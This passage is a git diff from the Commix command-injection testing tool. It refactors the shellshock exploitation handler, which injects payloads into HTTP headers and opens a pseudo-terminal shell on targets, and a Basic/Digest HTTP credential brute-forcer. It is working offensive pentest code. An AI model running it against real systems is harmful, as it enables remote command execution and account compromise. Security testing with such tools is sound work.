"os_shell" option elif os_shell_option == "os_shell": - warn_msg = "You are already into the '" + os_shell_option + "' mode." - print(settings.print_warning_msg(warn_msg))+ "\n" + warn_msg = "You are into the '" + os_shell_option + "' mode." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return go_back, go_back_again # The "bind_tcp" option elif os_shell_option == "bind_tcp": @@ -584,9 +278,9 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r go_back, go_back_again = reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) return go_back, go_back_again - # The "quit" option - elif os_shell_option == "quit": - raise SystemExit() + # The "quit" / "exit" options + elif os_shell_option == "quit" or os_shell_option == "exit": + checks.quit(filename, url, _ = True) """ The main shellshock handler @@ -601,69 +295,52 @@ def shellshock_handler(url, http_request_method, filename): injection_type = "results-based command injection" technique = "shellshock injection technique" - info_msg = "Testing the " + technique + ". " - if settings.VERBOSITY_LEVEL >= 2: - info_msg = info_msg + "\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: i = 0 - total = len(shellshock_cves) * len(headers) - for cve in shellshock_cves: - for check_header in headers: + total = len(shellshock_cves) * len(settings.SHELLSHOCK_HTTP_HEADERS) + for check_header in settings.SHELLSHOCK_HTTP_HEADERS: + for cve in shellshock_cves: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False i = i + 1 - attack_vector = "echo " + cve + ":Done;" + attack_vector = "echo" + settings.SINGLE_WHITESPACE + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - sys.stdout.write("\n" + settings.print_payload(payload)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) - + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) - if check_header == "User-Agent": + if check_header == settings.COOKIE: + menu.options.cookie = payload + if check_header == settings.USER_AGENT: menu.options.agent = payload - else: - menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor. - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) - if str(float_percent) == "100.0": - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = settings.info_msg - no_result = False + if type(response) is bool: + response_info = "" + else: + response_info = response.info() - elif len(response.info()) > 0 and cve in response.info(): - percent = settings.info_msg - no_result = False + if check_header == settings.COOKIE: + menu.options.cookie = default_cookie + if check_header == settings.USER_AGENT: + menu.options.agent = default_user_agent - else: - percent = str(float_percent)+ "%" + percent, float_percent = checks.percentage_calculation(i, total) + percent, no_result = print_percentage(no_result, response_info, cve, float_percent) if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR +settings.print_info_msg(info_msg)) + if no_result == False: # Check injection state @@ -674,39 +351,28 @@ def shellshock_handler(url, http_request_method, filename): export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) vuln_parameter = "HTTP Header" - the_type = " " + vuln_parameter - check_header = " " + check_header + the_type = settings.SINGLE_WHITESPACE + vuln_parameter + check_header = settings.SINGLE_WHITESPACE + check_header vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) check_header = check_header[1:] logs.update_payload(filename, counter, payload) if settings.VERBOSITY_LEVEL != 0: - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) checks.total_of_requests() - info_msg = "The (" + check_header + ") '" - info_msg += url + Style.RESET_ALL + Style.BRIGHT - info_msg += "' seems vulnerable via " + technique + "." + settings.CHECKING_PARAMETER = check_header + settings.SINGLE_WHITESPACE + vuln_parameter + # Print the findings to terminal. + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + technique + "." if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_bold_info_msg(info_msg)) - sub_content = "\"" + payload + "\"" - print(settings.print_sub_content(sub_content)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_sub_content(payload)) # Enumeration options. - if settings.ENUMERATION_DONE == True : - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + if settings.ENUMERATION_DONE: while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input(settings.print_question_msg(question_msg)) - - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break @@ -715,22 +381,16 @@ def shellshock_handler(url, http_request_method, filename): elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enumerate_again) pass else: enumeration(url, cve, check_header, filename) # File access options. - if settings.FILE_ACCESS_DONE == True : + if settings.FILE_ACCESS_DONE == True: while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again= "" - if len(file_access_again) == 0: - file_access_again = "Y" + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break @@ -739,85 +399,62 @@ def shellshock_handler(url, http_request_method, filename): elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(file_access_again) pass else: file_access(url, cve, check_header, filename) if menu.options.os_cmd: cmd = menu.options.os_cmd + checks.print_enumenation().print_single_os_cmd_msg(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - print("\n") + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL - raise SystemExit() + checks.print_single_os_cmd(cmd, shell, filename) - else: - # Pseudo-Terminal shell - print(settings.SINGLE_WHITESPACE) + # Pseudo-Terminal shell + try: + checks.alert() go_back = False go_back_again = False while True: if go_back == True: break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell= "" - if len(gotshell) == 0: - gotshell= "Y" + gotshell = checks.enable_shell(url) if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - - if cmd.lower() in settings.SHELL_OPTIONS: - os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) - go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - - if go_back: + if not settings.READLINE_ERROR: + checks.tab_autocompleter() + settings.print_data_to_stdout(settings.END_LINE.CR +settings.OS_SHELL) + cmd = common.read_input(message="", default="os_shell", check_batch=True) + cmd = checks.escaped_cmd(cmd) + if cmd.lower() in settings.SHELL_OPTIONS: + os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) + if os_shell_option is not False: + go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again, no_result) + if go_back and go_back_again == False: break - else: - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell != "": - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - else: - debug_msg = "Executing the '" + cmd + "' command. " - if settings.VERBOSITY_LEVEL == 1: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") - elif settings.VERBOSITY_LEVEL >= 2: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - except TypeError: - break - + if go_back and go_back_again: + return True + else: + shell, payload = cmd_exec(url, cmd, cve, check_header, filename) + if shell != "": + # Update logs with executed cmds and execution results. + logs.executed_command(filename, cmd, shell) + settings.print_data_to_stdout(settings.command_execution_output(shell)) + else: + debug_msg = "Executing the '" + cmd + "' command. " + if settings.VERBOSITY_LEVEL == 1: + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_payload(payload)) + elif settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_payload(payload)) + if settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + err_msg = common.invalid_cmd_output(cmd) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break @@ -825,32 +462,47 @@ def shellshock_handler(url, http_request_method, filename): if no_result == True: return False else: - return True + logs.logs_notification(filename) + return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(gotshell) continue break - else: - continue - if no_result: - if settings.VERBOSITY_LEVEL != 2: - print(settings.SINGLE_WHITESPACE) + except (KeyboardInterrupt, SystemExit): + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + raise + + except EOFError: + if settings.STDIN_PARSING: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + raise + + except TypeError: + break + + if no_result == True: + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "All tested HTTP headers appear to be not injectable." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - + else: + logs.logs_notification(filename) + except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err)) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True @@ -858,15 +510,15 @@ def shellshock_handler(url, http_request_method, filename): raise SystemExit() except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except _http_client.IncompleteRead as err_msg: - print(settings.print_critical_msg(err_msg + ".")) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ".")) raise SystemExit() """ @@ -879,40 +531,38 @@ def cmd_exec(url, cmd, cve, check_header, filename): """ def check_for_shell(url, cmd, cve, check_header, filename): try: - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) cmd = "echo " + TAG + "$(" + cmd + ")" + TAG payload = shellshock_exploitation(cve, cmd) debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) - if check_header == "User-Agent": + if check_header == settings.USER_AGENT: menu.options.agent = payload - else: - menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor. - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if check_header == settings.USER_AGENT: + menu.options.agent = default_user_agent shell = checks.page_encoding(response, action="decode").rstrip().replace('\n',' ') shell = re.findall(r"" + TAG + "(.*)" + TAG, shell) shell = ''.join(shell) return shell, payload except _urllib.error.URLError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() shell, payload = check_for_shell(url, cmd, cve, check_header, filename) diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/requests/__init__.py +++ b/src/core/requests/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index fd6b70b298..5c022d9890 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -3,13 +3,13 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -20,9 +20,9 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers +from src.utils import common from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -37,14 +37,13 @@ """ The authentication process """ -def authentication_process(): +def authentication_process(http_request_method): try: auth_url = menu.options.auth_url auth_data = menu.options.auth_data #cj = cookielib.CookieJar() cj = _http_cookiejar.CookieJar() opener = _urllib.request.build_opener(_urllib.request.HTTPCookieProcessor(cj)) - # request = opener.open(_urllib.request.Request(auth_url)) cookies = "" for cookie in cj: cookie_values = cookie.name + "=" + cookie.value + "; " @@ -52,101 +51,89 @@ def authentication_process(): if len(cookies) != 0 : menu.options.cookie = cookies.rstrip() if settings.VERBOSITY_LEVEL != 0: - info_msg = "The received cookie is " + info_msg = "The received cookie is " info_msg += str(menu.options.cookie) + Style.RESET_ALL + "." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) _urllib.request.install_opener(opener) - request = _urllib.request.Request(auth_url, auth_data) + request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) - #headers.check_http_traffic(request) + headers.check_http_traffic(request) # Get the response of the request. - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - - except _urllib.error.HTTPError as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except Exception as err_msg: + checks.connection_exceptions(err_msg) """ -Define the HTTP authentication +Define the HTTP authentication wordlists for usernames / passwords. """ def define_wordlists(): while True: - if not menu.options.batch: - question_msg = "Do you want to use default wordlists for dictionary-based attack? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to use default wordlists for dictionary-based attack? [Y/n] > " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: username_txt_file = settings.USERNAMES_TXT_FILE passwords_txt_file = settings.PASSWORDS_TXT_FILE info_msg = "Setting default wordlists for dictionary-based attack." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) break elif do_update in settings.CHOICE_NO: - question_msg = "Please enter usernames wordlist > " - username_txt_file = _input(settings.print_question_msg(question_msg)) - question_msg = "Please enter passwords wordlist > " - passwords_txt_file = _input(settings.print_question_msg(question_msg)) + message = "Please enter usernames wordlist > " + username_txt_file = common.read_input(message, default=None, check_batch=True) + message = "Please enter passwords wordlist > " + passwords_txt_file = common.read_input(message, default=None, check_batch=True) break elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass try: usernames = [] if settings.VERBOSITY_LEVEL != 0: debug_msg = "Parsing usernames wordlist '" + username_txt_file + "'." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if not os.path.isfile(username_txt_file): err_msg = "The specified file '" + str(username_txt_file) + "' does not exist." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() if len(username_txt_file) == 0: err_msg = "The specified file '" + str(username_txt_file) + "' seems empty." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - with open(username_txt_file, "r") as f: + with open(username_txt_file, "r") as f: for line in f: line = line.strip() usernames.append(line) - except IOError: + except IOError: err_msg = " Check if file '" + str(username_txt_file) + "' is readable or corrupted." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() try: passwords = [] if settings.VERBOSITY_LEVEL != 0: debug_msg = "Parsing passwords wordlist '" + passwords_txt_file + "'." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if not os.path.isfile(passwords_txt_file): err_msg = "The specified file '" + str(passwords_txt_file) + "' does not exist." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() if len(passwords_txt_file) == 0: err_msg = "The specified file '" + str(passwords_txt_file) + "' seems empty." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - with open(passwords_txt_file, "r") as f: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + with open(passwords_txt_file, "r") as f: for line in f: line = line.strip() passwords.append(line) - except IOError: + except IOError: err_msg = " Check if file '" + str(passwords_txt_file) + "' is readable or corrupted." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() return usernames, passwords @@ -154,52 +141,45 @@ def define_wordlists(): """ Simple Basic / Digest HTTP authentication cracker. """ -def http_auth_cracker(url, realm): +def http_auth_cracker(url, realm, http_request_method): settings.PERFORM_CRACKING = True # Define the HTTP authentication type. authentication_type = menu.options.auth_type # Define the authentication wordlists for usernames / passwords. usernames, passwords = define_wordlists() - i = 1 + i = 1 found = False - total = len(usernames) * len(passwords) + total = len(usernames) * len(passwords) for username in usernames: for password in passwords: float_percent = "{0:.1f}%".format(round(((i*100)/(total*1.0)),2)) # Check if verbose mode on if settings.VERBOSITY_LEVEL != 0: - payload = "" + username + ":" + password + "" + payload = "'" + username + ":" + password + "'" if settings.VERBOSITY_LEVEL >= 2: - print(settings.print_checking_msg(payload)) + settings.print_data_to_stdout(settings.print_checking_msg(payload)) else: - sys.stdout.write("\r" + settings.print_checking_msg(payload) + " " * 10) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * len(payload)) try: - # Basic authentication - if authentication_type.lower() == "basic": + # Basic authentication + if authentication_type.lower() == settings.AUTH_TYPE.BASIC: authhandler = _urllib.request.HTTPBasicAuthHandler() - # Digest authentication - elif authentication_type.lower() == "digest": + # Digest authentication + elif authentication_type.lower() == settings.AUTH_TYPE.DIGEST: authhandler = _urllib.request.HTTPDigestAuthHandler() authhandler.add_password(realm, url, username, password) opener = _urllib.request.build_opener(authhandler) _urllib.request.install_opener(opener) - request = _urllib.request.Request(url) + request = _urllib.request.Request(url, method=http_request_method) headers.do_check(request) headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - tor.use_tor(request) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - # Store valid results to session - admin_panel = url - session_handler.import_valid_credentials(url, authentication_type, admin_panel, username, password) found = True except KeyboardInterrupt : - raise + raise except (_urllib.error.HTTPError, _urllib.error.URLError): pass if found: @@ -209,28 +189,29 @@ def http_auth_cracker(url, realm): if str(float_percent) == "100.0%": if settings.VERBOSITY_LEVEL == 0: float_percent = settings.FAIL_STATUS - else: + else: i = i + 1 float_percent = ".. (" + float_percent + ")" if settings.VERBOSITY_LEVEL == 0: - info_msg = "Checking for a valid pair of credentials." + info_msg = "Checking for a valid pair of HTTP authentication credentials." info_msg += float_percent - sys.stdout.write("\r\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout("\r\r" + settings.print_info_msg(info_msg)) + if found: + if not settings.LOAD_SESSION: + session_handler.import_valid_credentials(url, authentication_type, url, username, password) valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - info_msg = "Identified a valid pair of credentials '" - info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + info_msg = "Identified a valid pair of credentials: '" + valid_pair + "'." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) return valid_pair - err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " - err_msg += "or place an other dictionary into '" + err_msg = "Use the '--auth-cred' option to provide a valid pair of " + err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " + err_msg += "or place an other dictionary into '" err_msg += os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/' directory." - print("\n" + settings.print_critical_msg(err_msg)) - return False + settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) + return False # eof \ No newline at end of file diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 208ade5e22..2c6be486cd 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -3,13 +3,13 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -30,7 +30,7 @@ import base64 try: from base64 import encodebytes -except ImportError: +except ImportError: from base64 import encodestring as encodebytes import socket from socket import error as SocketError @@ -46,9 +46,11 @@ Checking the HTTP response content. """ def http_response_content(content): + if type(content) is bytes: + content = content.decode(settings.DEFAULT_CODEC) if settings.VERBOSITY_LEVEL >= 4: content = checks.remove_empty_lines(content) - print(settings.print_http_response_content(content)) + settings.print_data_to_stdout(settings.print_http_response_content(content)) if menu.options.traffic_file: logs.log_traffic(content) logs.log_traffic("\n\n" + "#" * 77 + "\n\n") @@ -59,39 +61,43 @@ def http_response_content(content): def http_response(headers, code): response_http_headers = str(headers).split("\n") for header in response_http_headers: - if len(header) > 1: + if len(header) > 1: if settings.VERBOSITY_LEVEL >= 3: - print(settings.print_traffic(header)) + settings.print_data_to_stdout(settings.print_traffic(header)) if menu.options.traffic_file: logs.log_traffic("\n" + header) if menu.options.traffic_file: - logs.log_traffic("\n\n") + logs.log_traffic("\n\n") """ Print HTTP response headers / Body. """ def print_http_response(response_headers, code, page): + if int(code) in settings.ABORT_CODE: + err_msg = "Aborting due to detected HTTP code '" + str(code) + "'. " + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + if settings.VERBOSITY_LEVEL >= 3 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 3: resp_msg = "HTTP response [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):" - print(settings.print_response_msg(resp_msg)) + settings.print_data_to_stdout(settings.print_response_msg(resp_msg)) if menu.options.traffic_file: resp_msg = "HTTP response [#" + str(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):" logs.log_traffic("\n" + resp_msg) http_response(response_headers, code) if settings.VERBOSITY_LEVEL >= 4 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 4: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) try: http_response_content(page) except AttributeError: - http_response_content(page.decode(settings.UNICODE_ENCODING)) + http_response_content(page.decode(settings.DEFAULT_CODEC)) """ Checking the HTTP Headers & HTTP/S Request. """ def check_http_traffic(request): - settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 # Delay in seconds between each HTTP request time.sleep(int(settings.DELAY)) if settings.SCHEME == 'https': @@ -105,271 +111,252 @@ def send(self, req): request_http_headers = str(headers).split("\r\n") unique_request_http_headers = [] [unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers] - request_http_headers = unique_request_http_headers + request_http_headers = [x for x in unique_request_http_headers if x] + if settings.USER_DEFINED_POST_DATA and \ + len(request_http_headers) == 1 and \ + settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) for header in request_http_headers: if settings.VERBOSITY_LEVEL >= 2: - print(settings.print_traffic(header)) + settings.print_data_to_stdout(settings.print_traffic(header)) if menu.options.traffic_file: logs.log_traffic("\n" + header) http_client.send(self, req) class connection_handler(_urllib.request.HTTPSHandler, _urllib.request.HTTPHandler, object): + """ + Print HTTP request headers. + """ + def print_http_response(self): + settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 + if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: + if settings.VERBOSITY_LEVEL >= 2: + req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:" + settings.print_data_to_stdout(settings.print_request_msg(req_msg)) + if menu.options.traffic_file: + req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:" + logs.log_traffic(req_msg) + def http_open(self, req): try: + self.print_http_response() self.do_open(connection, req) return super(connection_handler, self).http_open(req) - except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg.args[0]) + "." - error_msg = "Connection to the target URL " + error_msg - except _http_client.InvalidURL as err_msg: - settings.VALID_URL = False - error_msg = err_msg - if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(error_msg)) - if not settings.VALID_URL: - raise SystemExit() - + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + checks.connection_exceptions(err_msg) def https_open(self, req): try: + self.print_http_response() self.do_open(connection, req) return super(connection_handler, self).https_open(req) - except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg.args[0]) + "." - error_msg = "Connection to the target URL " + error_msg - except _http_client.InvalidURL as err_msg: - settings.VALID_URL = False - error_msg = err_msg - if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(error_msg)) - if not settings.VALID_URL: - raise SystemExit() - + except (SocketError, 